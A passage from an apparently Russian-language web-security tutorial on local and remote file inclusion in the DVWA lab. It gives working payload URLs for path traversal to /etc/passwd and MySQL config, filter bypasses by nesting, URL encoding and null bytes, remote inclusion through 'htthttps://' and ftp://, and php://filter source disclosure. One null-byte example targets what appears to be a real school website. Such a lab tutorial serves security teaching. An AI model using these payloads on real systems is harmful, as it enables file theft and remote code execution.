\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c (<strong>medium<\/strong>) \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 <strong>DVWA Security<\/strong>).\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0415\u0441\u043b\u0438 \u043c\u044b \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 (\u043a\u043d\u043e\u043f\u043a\u0430 <strong>View Source<\/strong>):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/13-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"13\" class=\"alignnone size-full wp-image-1372\" height=\"386\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/13-1.jpg\" width=\"677\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/13-1.jpg 677w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/13-1-300x171.jpg 300w\" sizes=\"(max-width: 677px) 100vw, 677px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u044b <strong>..\/<\/strong> \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u044e\u0442\u0441\u044f. \u042d\u0442\u043e \u043d\u0435 \u0434\u0430\u0441\u0442 \u043d\u0430\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0432\u044b\u0448\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0422.\u0435. \u0442\u0430\u043a&nbsp;\u0443\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/..\/..\/..\/..\/..\/etc\/mysql\/my.cnf\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u0435\u043c, \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435? \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u043e\u0432\u043e &laquo;<span style=\"color:#FF0000;\">\u043f\u043b\u043e\u0445\u043e<\/span>&raquo;, \u0442\u043e\u0433\u0434\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0432\u0438\u0434\u0430\n<\/p>\n<p style=\"text-align: justify;\">\n\t<span style=\"color:#008000;\">\u0445\u043e\u0440\u043e\u0448\u043e<\/span><span style=\"color:#FF0000;\">\u043f\u043b\u043e\u0445\u043e<\/span><span style=\"color:#00FF00;\">\u0445\u043e\u0440\u043e\u0448\u043e<\/span>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u043f\u043e\u0441\u043b\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a\u043e\u0439:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<span style=\"color:#008000;\">\u0445\u043e\u0440\u043e\u0448\u043e<\/span><span style=\"color:#00FF00;\">\u0445\u043e\u0440\u043e\u0448\u043e<\/span>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0410 \u0435\u0441\u043b\u0438 \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443\n<\/p>\n<p style=\"text-align: justify;\">\n\t<span style=\"color:#FF8C00;\">\u043f\u043b\u043e<\/span><span style=\"color:#FF0000;\">\u043f\u043b\u043e\u0445\u043e<\/span><span style=\"color:#FF8C00;\">\u0445\u043e<\/span>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 (\u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043e &laquo;<span style=\"color:#FF0000;\">\u043f\u043b\u043e\u0445\u043e<\/span>&raquo;) \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f\n<\/p>\n<p style=\"text-align: justify;\">\n\t<span style=\"color:#FF8C00;\">\u043f\u043b\u043e\u0445\u043e<\/span>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0442\u043b\u0438\u0447\u043d\u043e!\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412 <strong>..\/<\/strong> \u043c\u044b \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u043f\u043e\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0435\u0449\u0451 \u0440\u0430\u0437 <strong>..\/<\/strong>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f <strong>&#8230;\/.\/<\/strong>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0430\u0434\u0440\u0435\u0441 http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/etc\/mysql\/my.cnf\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"14\" class=\"alignnone size-full wp-image-1373\" height=\"923\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1-300x144.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1-768x369.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/14-1-1024x493.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e!\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0415\u0449\u0451 \u043e\u0434\u043d\u0438\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u0443\u044e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443, \u043f\u0440\u0438\u043c\u0435\u0440 \u0442\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/example.com\/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd\n<\/p>\n<p style=\"text-align: justify;\">\n\t&laquo;..\/&raquo; \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 &laquo;%2E%2E%2f&raquo;.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0439\u043d\u043e\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u0443\u044e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c &laquo;..\/&raquo; \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 &laquo;%252E%252E%252F&raquo;\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u0415\u0441\u043b\u0438 \u043a\u043e\u0434 \u0441 \u0438\u043d\u043a\u043b\u0443\u0434\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043c\u0435\u0435\u0442 \u0432\u0438\u0434:\n<\/p>\n<pre class=\"brush:php;\">\r\n&lt;?php\r\ninclude(&quot;includes\/&quot;.$_GET['param1'].&quot;.php&quot;);\r\n?&gt;<\/pre>\n<p style=\"text-align: justify;\">\n\t\u0422.\u0435. \u043a \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0432\u0432\u043e\u0434\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .php \u0438\u043b\u0438 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0435, \u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0418\u043c\u0435\u044e\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0445\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u043e\u0442\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 PHP 5.3, \u0434\u0430 \u0438 \u0442\u043e \u043d\u0435 \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043a\u043b\u0438\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u0438\u0432\u043d\u044b \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0442\u0440\u043e\u0433\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0422.\u0435. \u0448\u0430\u043d\u0441 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u043e\u0447\u0435\u043d\u044c \u0434\u0440\u0435\u0432\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 PHP \u0435\u0441\u0442\u044c, \u0438 \u043e\u0431 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0430\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u043d\u0430\u0442\u044c.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0431\u0430\u0439\u0442\u0430 %00 (null byte)<\/strong>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412 \u043a\u043e\u043d\u0446\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043b\u044f \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/www.bihtapublicschool.co.in\/index.php?token=\/etc\/passwd%00\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u043e\u0431\u0440\u0435\u0437\u043a\u043e\u0439 \u043f\u0443\u0442\u0438. \u0421\u0443\u0442\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e PHP \u043e\u0431\u0440\u0435\u0437\u0430\u0435\u0442 \u043f\u0443\u0442\u0438 \u0434\u043b\u0438\u043d\u043d\u0435\u0435 4096 \u0431\u0430\u0439\u0442. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c PHP \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043d\u0430 \u043a\u043e\u043d\u0446\u0435 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u0438\u043c\u0435\u044e\u0442\u0441\u044f \u0441\u043b\u0435\u0448\u0438 \u0438 \u0442\u043e\u0447\u043a\u0438. \u0415\u0441\u043b\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 ?param1=..\/..\/..\/..\/etc\/passwd\/.\/.\/.\/.\/.\/&lt;&#8230;&gt; (\u0433\u0434\u0435 .\/ \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437), \u0442\u043e \u043a\u043e\u043d\u0435\u0446 \u0444\u0430\u0439\u043b\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c (\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u0431\u0430\u0432\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0441\u0442\u0430\u043b\u043e includes\/..\/..\/..\/..\/etc\/passwd\/.\/.\/.\/.\/.\/&lt;&#8230;&gt;.php) \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043e. \u0418 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f includes\/..\/..\/..\/..\/etc\/passwd\/.\/.\/.\/.\/.\/&lt;&#8230;&gt;. \u0410 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 PHP \u043d\u0435 \u0441\u043c\u0443\u0449\u0430\u044e\u0442 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043b\u0435\u0448\u0438 \u0438 .\/ \u043d\u0430 \u043a\u043e\u043d\u0446\u0435 \u0444\u0430\u0439\u043b\u0430, \u043e\u043d \u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442, \u0442\u043e \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 PHP \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0444\u0430\u0439\u043b \u043f\u043e \u043f\u0443\u0442\u0438 includes\/..\/..\/..\/..\/etc\/passwd.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041a\u0430\u043a \u043c\u044b \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435, \u043d\u0430 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0443\u0440\u043e\u0432\u043d\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f http:\/\/ \u0438 https:\/\/.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0422\u0435\u043f\u0435\u0440\u044c http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=https:\/\/hackware.ru\/ \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0432 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u0438\u0451\u043c\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0438\u043d\u043a\u043b\u0443\u0434\u0435. \u0421\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=htthttps:\/\/ps:\/\/hackware.ru\/\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"15\" class=\"alignnone size-full wp-image-1374\" height=\"599\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1.jpg\" width=\"1069\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1.jpg 1069w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1-300x168.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1-768x430.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/15-1-1024x574.jpg 1024w\" sizes=\"(max-width: 1069px) 100vw, 1069px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0418 \u0435\u0449\u0451 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <strong>ftp<\/strong>, \u0442.\u0435. \u0442\u0430\u043a\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0431\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u0438\u0445 \u0443\u0445\u0438\u0449\u0440\u0435\u043d\u0438\u0439:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=ftp:\/\/hackware.ru\/\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 PHP \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043f\u0440\u0438 \u0438\u043d\u043a\u043b\u0443\u0434\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441&nbsp;php:\/\/filter<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u044e\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432. \u0411\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u043e\u0434\u0430 \u043c\u0435\u0442\u0430-\u043e\u0431\u0451\u0440\u0442\u043a\u0430 <strong>php:\/\/filter<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0444\u0430\u0439\u043b\u0430 file1.php, \u0442\u043e\u0433\u0434\u0430 \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0442\u0430\u043a:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=php:\/\/filter\/read=convert.base64-encode\/resource=file1.php\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"16\" class=\"alignnone size-full wp-image-1375\" height=\"381\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1-300x60.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1-768x152.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/16-1-1024x203.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u0438\u0437 \u0431\u0443\u043a\u0432 \u0438 \u0446\u0438\u0444\u0440 &ndash; \u044d\u0442\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0444\u0430\u0439\u043b\u0430 file1.php \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 base64. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e base64, \u0442\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0420\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"17\" class=\"alignnone size-full wp-image-1376\" height=\"541\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1-300x85.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1-768x217.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/17-1-1024x289.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 php:\/\/input<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u042d\u0442\u043e \u043d\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u044f\u0442\u044c \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u043b\u044f \u043f\u043e\u043c\u043e\u0449\u0438 \u044f \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c FireFox <a 